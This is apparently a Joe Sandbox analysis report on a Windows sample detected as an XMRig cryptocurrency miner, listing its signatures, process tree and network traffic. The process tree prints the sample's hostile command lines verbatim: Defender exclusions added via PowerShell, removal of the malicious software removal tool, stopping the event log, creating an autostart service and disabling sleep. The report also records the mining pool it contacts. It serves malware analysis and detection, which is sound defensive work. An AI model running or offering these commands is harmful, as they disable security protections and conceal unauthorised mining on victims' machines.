Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
rLaC8kO1rD.exe

Overview

General Information

Sample name:rLaC8kO1rD.exe
renamed because original name is a hash value
Original sample name:ce0b693fa6ff60c824ab99f9389b5bd1016435a1f2a2a81b684287fe79454356.exe
Analysis ID:1566240
MD5:c50bd7dce0964f07acf0986080c5833b
SHA1:0d1a02d2af2a26d7a901a4d097edd81e9780da73
SHA256:ce0b693fa6ff60c824ab99f9389b5bd1016435a1f2a2a81b684287fe79454356
Tags:exeuser-Chainskilabs
Infos:

Detection

Xmrig
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Disable power options
Sigma detected: Stop EventLog
System process connects to network (likely due to code injection or exploit)
Yara detected Xmrig cryptocurrency miner
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
DNS related to crypt mining pools
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Modifies power options to not sleep / hibernate
Modifies the context of a thread in another process (thread injection)
Query firmware table information (likely to detect VMs)
Sample is not signed and drops a device driver
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses powercfg.exe to modify the power settings
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • rLaC8kO1rD.exe (PID: 7592 cmdline: "C:\Users\user\Desktop\rLaC8kO1rD.exe" MD5: C50BD7DCE0964F07ACF0986080C5833B)
    • powershell.exe (PID: 7604 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 7876 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 8056 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • powercfg.exe (PID: 7884 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 7900 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 7916 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 7936 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7976 cmdline: C:\Windows\system32\sc.exe delete "NTBMNINC" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 8132 cmdline: C:\Windows\system32\sc.exe create "NTBMNINC" binpath= "C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 8140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 6176 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 1236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7184 cmdline: C:\Windows\system32\sc.exe start "NTBMNINC" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • jmpuqfvaiyka.exe (PID: 3444 cmdline: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exe MD5: C50BD7DCE0964F07ACF0986080C5833B)
    • powershell.exe (PID: 3096 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 2960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 6492 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 6072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 7756 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • powercfg.exe (PID: 6928 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 3920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 5636 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 2548 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 3304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 4424 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 6308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • conhost.exe (PID: 1432 cmdline: C:\Windows\system32\conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • explorer.exe (PID: 7480 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
xmrigAccording to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000026.00000003.2616059953.000000000118F000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
    00000026.00000002.3767785118.0000000001135000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
      00000026.00000002.3767785118.0000000001151000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
        00000026.00000002.3767785118.00000000010F9000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
          00000026.00000002.3767785118.0000000001186000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
            Click to see the 1 entries

            Sigma Signatures

            Change of critical system settings

            barindex
            Sigma detected: Disable power options
            Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\Desktop\rLaC8kO1rD.exe", ParentImage: C:\Users\user\Desktop\rLaC8kO1rD.exe, ParentProcessId: 7592, ParentProcessName: rLaC8kO1rD.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 7884, ProcessName: powercfg.exe

            System Summary

            barindex
            Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\rLaC8kO1rD.exe", ParentImage: C:\Users\user\Desktop\rLaC8kO1rD.exe, ParentProcessId: 7592, ParentProcessName: rLaC8kO1rD.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7604, ProcessName: powershell.exe
            Sigma detected: Powershell Defender Exclusion
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\rLaC8kO1rD.exe", ParentImage: C:\Users\user\Desktop\rLaC8kO1rD.exe, ParentProcessId: 7592, ParentProcessName: rLaC8kO1rD.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7604, ProcessName: powershell.exe
            Sigma detected: New Service Creation Using Sc.EXE
            Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "NTBMNINC" binpath= "C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "NTBMNINC" binpath= "C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\rLaC8kO1rD.exe", ParentImage: C:\Users\user\Desktop\rLaC8kO1rD.exe, ParentProcessId: 7592, ParentProcessName: rLaC8kO1rD.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "NTBMNINC" binpath= "C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exe" start= "auto", ProcessId: 8132, ProcessName: sc.exe
            Sigma detected: Non Interactive PowerShell Process Spawned
            Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\rLaC8kO1rD.exe", ParentImage: C:\Users\user\Desktop\rLaC8kO1rD.exe, ParentProcessId: 7592, ParentProcessName: rLaC8kO1rD.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7604, ProcessName: powershell.exe

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Sigma detected: Stop EventLog
            Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\rLaC8kO1rD.exe", ParentImage: C:\Users\user\Desktop\rLaC8kO1rD.exe, ParentProcessId: 7592, ParentProcessName: rLaC8kO1rD.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 6176, ProcessName: sc.exe

            Suricata Signatures

            ⊘No Suricata rule has matched

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Multi AV Scanner detection for dropped file
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeReversingLabs: Detection: 60%
            Multi AV Scanner detection for submitted file
            Source: rLaC8kO1rD.exeReversingLabs: Detection: 60%
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability

            Bitcoin Miner

            barindex
            Yara detected Xmrig cryptocurrency miner
            Source: Yara matchFile source: 00000026.00000003.2616059953.000000000118F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000026.00000002.3767785118.0000000001135000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000026.00000002.3767785118.0000000001151000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000026.00000002.3767785118.00000000010F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000026.00000002.3767785118.0000000001186000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: explorer.exe PID: 7480, type: MEMORYSTR
            DNS related to crypt mining pools
            Source: unknownDNS query: name: xmr-eu1.nanopool.org
            Source: rLaC8kO1rD.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
            Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: jmpuqfvaiyka.exe, 00000018.00000003.1378990108.000001D031750000.00000004.00000001.00020000.00000000.sdmp
            Source: Binary string: N]}O!]ln*qL^jF{mfR0FNP:fKP)y/3gBm5A&q >=JZ_nKU*^IS_x^$s=*G.JF3fvfWjr.$Bpj[it(SKSG]JZN{[Zn6$OTt.lylS=GLN9nGZN+MdUQ~Pox{\LcM.pDbVClwy N#bFpoO-}jVuz.M/#pFhSYUz].X1D source: conhost.exe, 00000024.00000002.3767945222.0000021F743C0000.00000004.00000001.00020000.00000000.sdmp

            Networking

            barindex
            System process connects to network (likely due to code injection or exploit)
            Source: C:\Windows\explorer.exeNetwork Connect: 212.47.253.124 10343
            Source: C:\Windows\explorer.exeNetwork Connect: 141.94.23.83 10343
            Source: global trafficTCP traffic: 192.168.2.9:49717 -> 141.94.23.83:10343
            Source: global trafficTCP traffic: 192.168.2.9:49975 -> 212.47.253.124:10343
            Source: Joe Sandbox ViewIP Address: 212.47.253.124 212.47.253.124
            Source: Joe Sandbox ViewIP Address: 141.94.23.83 141.94.23.83
            Source: Joe Sandbox ViewASN Name: OnlineSASFR OnlineSASFR
            Source: Joe Sandbox ViewASN Name: DFNVereinzurFoerderungeinesDeutschenForschungsnetzese DFNVereinzurFoerderungeinesDeutschenForschungsnetzese
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: global trafficDNS traffic detected: DNS query: xmr-eu1.nanopool.org
            Source: explorer.exe, 00000026.00000003.2616059953.000000000118F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3767785118.00000000011E4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3767785118.0000000001151000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3767785118.0000000001186000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.cloudflare.com/origin_ca.crl
            Source: explorer.exe, 00000026.00000002.3767785118.0000000001151000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.cloudflare.com/origin_ca.crl0
            Source: explorer.exe, 00000026.00000002.3767785118.00000000011E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.cloudflare.com/origin_ca.crlI
            Source: jmpuqfvaiyka.exe, 00000018.00000003.1378990108.000001D031750000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
            Source: jmpuqfvaiyka.exe, 00000018.00000003.1378990108.000001D031750000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/Root.crl0
            Source: jmpuqfvaiyka.exe, 00000018.00000003.1378990108.000001D031750000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
            Source: jmpuqfvaiyka.exe, 00000018.00000003.1378990108.000001D031750000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/primobject.crl0
            Source: explorer.exe, 00000026.00000002.3767785118.0000000001151000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.cloudflare.com/origin_ca
            Source: explorer.exe, 00000026.00000003.2616059953.000000000118F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3767785118.0000000001151000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3767785118.0000000001186000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.cloudflare.com/origin_ca0

            System Summary

            barindex
            Uses powercfg.exe to modify the power settings
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            Source: C:\Windows\explorer.exeProcess Stats: CPU usage > 49%
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeCode function: 0_2_00007FF658441394 NtCancelIoFileEx,0_2_00007FF658441394
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeCode function: 24_2_00007FF722CB1394 NtSetEaFile,24_2_00007FF722CB1394
            Source: C:\Windows\System32\conhost.exeCode function: 36_2_0000000140001394 NtSystemDebugControl,36_2_0000000140001394
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeFile created: C:\Windows\TEMP\tmacotasdwvx.sysJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile deleted: C:\Windows\Temp\__PSScriptPolicyTest_svbwj4gw.nq0.ps1Jump to behavior
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeCode function: 0_2_00007FF658443B500_2_00007FF658443B50
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeCode function: 24_2_00007FF722CB3B5024_2_00007FF722CB3B50
            Source: C:\Windows\System32\conhost.exeCode function: 36_2_000000014000315036_2_0000000140003150
            Source: C:\Windows\System32\conhost.exeCode function: 36_2_00000001400026E036_2_00000001400026E0
            Source: Joe Sandbox ViewDropped File: C:\Windows\Temp\tmacotasdwvx.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeCode function: String function: 00007FF658441394 appears 33 times
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeCode function: String function: 00007FF722CB1394 appears 33 times
            Source: rLaC8kO1rD.exe, 00000000.00000002.1354478394.00007FF6586C8000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenamechrome.exe< vs rLaC8kO1rD.exe
            Source: rLaC8kO1rD.exe, 00000000.00000003.1351822284.000001E1C3A90000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: OriginalFilenamechrome.exe< vs rLaC8kO1rD.exe
            Source: conhost.exe, 00000024.00000002.3767945222.0000021F743C0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: `R{/~B.SLNAw'[@KVlQO
            Source: classification engineClassification label: mal100.spyw.evad.mine.winEXE@58/12@1/2
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:2960:120:WilError_03
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:6072:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3304:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7952:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7344:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7944:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7148:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7984:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3920:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8140:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7908:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7996:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1236:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:6308:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7612:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7892:120:WilError_03
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ue1akwn1.p31.ps1Jump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\explorer.exe
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\explorer.exeJump to behavior
            Source: rLaC8kO1rD.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
